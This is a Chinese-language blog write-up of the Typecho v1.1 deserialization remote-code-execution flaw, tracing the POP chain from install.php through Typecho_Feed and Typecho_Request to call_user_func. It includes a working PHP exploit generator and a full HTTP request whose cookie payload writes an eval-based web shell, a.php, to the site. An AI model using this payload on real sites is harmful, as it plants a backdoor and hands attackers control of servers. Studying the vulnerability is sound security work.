Typecho v1.1-15.5.12 前台反序列化可写Shell。
这个洞出了得有一个月了,当时出的时候想要审一下,但是PHP水平不太够,没审出来,于是等了等大牛们的博客。重新梳理了下流程,在此记录一下。
0x00 源码下载
https://github.com/typecho/typecho/releases/tag/v1.1-15.5.12-beta
0x01 Payload
1. Exp生成脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_charset; private $_lang; private $_version; private $_items = array();
public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en') { $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } public function addItem(array $item) { $this->_items[] = $item; } } class Typecho_Request { private $_params = array('screenName' => "file_put_contents('a.php', '<?php eval(\$_POST[1]);?>')"); private $_filter = array('assert'); } $p1 = new Typecho_Feed(1); $p2 = new Typecho_Request(); $p1->addItem(array('author' => $p2)); $exp = array('adapter' => $p1, 'prefix' => 'MengChen'); echo base64_encode(serialize($exp));
|
2. http请求包
1 2 3 4 5 6 7 8 9 10
| GET /typecho/install.php?finish=233 HTTP/1.1 Host: 10.10.10.135 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF9jaGFyc2V0IjtzOjU6IlVURi04IjtzOjE5OiIAVHlwZWNob19GZWVkAF9sYW5nIjtzOjI6ImVuIjtzOjIyOiIAVHlwZWNob19GZWVkAF92ZXJzaW9uIjtpOjE7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTQ6ImZpbGVfcHV0X2NvbnRlbnRzKCdhLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoiTWVuZ0NoZW4iO30= Referer: http://10.10.10.135/typecho/install.php Connection: keep-alive Upgrade-Insecure-Requests: 1
|
效果就是会在网站目录下生成一个名为a.php
的shell,密码为1
3. 效果图
0x02 漏洞原理分析
1. 正向代码审计
在install.php
文件中,首先在第59-77行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit; }
// 挡掉可能的跨站请求 if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; }
$parts = parse_url($_SERVER['HTTP_REFERER']); if (!empty($parts['port'])) { $parts['host'] = "{$parts['host']}:{$parts['port']}"; }
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) { exit; } }
|
绕过这里需要用GET方法传入一个finish参数,然后再加入一个同源的Referer即可。
然后往下,在第229-235行,存在一个很明显的反序列化操作。
1 2 3 4 5 6 7
| <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); Typecho_Cookie::delete('__typecho_config'); $db = new Typecho_Db($config['adapter'], $config['prefix']); $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db); ?>
|
在这里,可以通过cookie
把一个序列化的变量反序列化后存入变量$config
,然后在实例化Typecho_Db
类时作为参数传入。全局搜索Typecho_Db
类。
文件路径为/var/Typecho/Db.php
。
在Db.php
文件Typecho_Db
类的构造函数中,第120行,存在一个字符串拼接操作
1
| $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
|
假设$adapterName
是一个实例化的类,那么在进行该操作时,会触发类的__toString()
魔术方法。
然后再寻找定义了__toString()
方法的类。
找到三个
1 2 3
| /var/Typecho/Config.php /var/Typecho/Feed.php /var/Typecho/Query.php
|
分别跟进进行审计。
在Feed.php
中,第290行__toString()
方法中。
1
| $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;\
|
在这里调用了Feed.php
中类Typecho_Feed
的一个私有数组成员$_items
的值,这个值我们可以控制,于是又用到了另一个魔术方法__get()。
__get会在读取不可访问的属性的值的时候调用
无法访问的属性包括两类:不存在的属性、私有属性
因此,我们可以通过该处调用某个类的__get()魔术方法。
全局搜索下,分别跟进。
在/var/Typecho/Requests.php
中,Typecho_Request
类里第269-272行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public function __get($key) { return $this->get($key); } 在这进入了第295-311行,get()中 public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; }
$value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); }
|
然后在第159行,进入_applyFilter()方法中
1 2 3 4 5 6 7 8 9 10 11 12 13
| private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); }
$this->_filter = array(); }
return $value; }
|
在第164行,有个很醒目的call_user_func()
函数。
call_user_func()
是PHP的内置函数,该函数允许用户调用直接写的函数并传入一定的参数,这里就是代码执行的地方。
2. Payload构造逻辑
首先,我们利用cookie
传入一个序列化后的数组,数组中有个键为'adapter'
、值为一个实例化的Typecho_Feed()
类的键值对。
在实例化Typecho_Db
类时,实例化后的Typecho_Feed
类在Db.php
中第120行进行了字符串拼接操作,调用了Typecho_Feed
类的__toString()
方法。
于是进入了Feed.php
第223行的__toString()
方法中。在类Typecho_Feed()
类中有个私有化数组成员$_items
,
在第284行对该数组进行了遍历,然后在第290行对$item['author']
这个实例化的screenName
成员进行操作。
1
| $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
|
如果$item['author']
这个实例化的类中没有screenName
这个成员或者这个成员是私有的,则会调用该实例化类的__get()
魔术方法,
并且$item['author']
这个类我们是可以控制的,因此令它为Typecho_Request
这个类,因为Typecho_Request
中没有screenName
这个成员
然后就调用的screenName
的__get()
魔术方法,传入了一个值为screenName
的$key
,进入Request.php
第295行Typecho_Request
类的$_params[]
中。
有键为screenName
的键值对,就将它的值传入$value
中,然后进入了_applyFilter()
这个方法中,如果类Typecho_Request
的成员_filter
存在,就将其的值遍历作为函数名。
传入call_user_func($filter, $value);
中,而get()
方法中处理的$value
就作为所执行函数的值传入其中`。于此代码执行
简单的说,在这个流程中,call_user_func()
函数的两个参数我们都可控,
于是在此构成了任意代码执行。
整个POP链就是
Typecho_Db
类构造函数 –> Typecho_Feed
类的__toString()
魔术方法 –> Typecho_Request
类的__get()
魔术方法 –> Typecho_Request
类的get()
方法 –>
Typecho_Request
类的_applyFilter()
方法 –>
call_user_func()
执行任意代码
0x03 PHP魔术方法
__construct()
,类的构造函数
__destruct()
,类的析构函数
__call()
,在对象中调用一个不可访问方法时调用
__callStatic()
,用静态方式中调用一个不可访问方法时调用
__get()
,获得一个类的成员变量时调用
__set()
,设置一个类的成员变量时调用
__isset()
,当对不可访问属性调用isset()或empty()时调用
__unset()
,当对不可访问属性调用unset()时被调用。
__sleep()
,执行serialize()时,先会调用这个函数
__wakeup()
,执行unserialize()时,先会调用这个函数
__toString()
,类被当成字符串时的回应方法
__invoke()
,调用函数的方式调用一个对象时的回应方法
__set_state()
,调用var_export()导出类时,此静态方法会被调用。
__clone()
,当对象复制完成时调用
0x04 参考